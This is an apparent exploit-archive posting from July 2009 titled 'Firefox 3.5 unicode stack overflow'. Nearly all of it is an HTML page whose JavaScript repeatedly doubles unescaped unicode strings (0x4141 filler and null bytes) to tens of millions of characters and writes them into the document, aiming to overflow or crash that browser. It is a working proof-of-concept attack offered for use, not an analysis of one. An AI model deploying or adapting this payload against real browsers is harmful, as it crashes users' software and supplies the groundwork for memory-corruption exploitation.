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firefox35unicode-overflow.txt

Posted on 15 July 2009

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Firefox 3.5 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne


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<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str,   21000000);


document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var	i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

 

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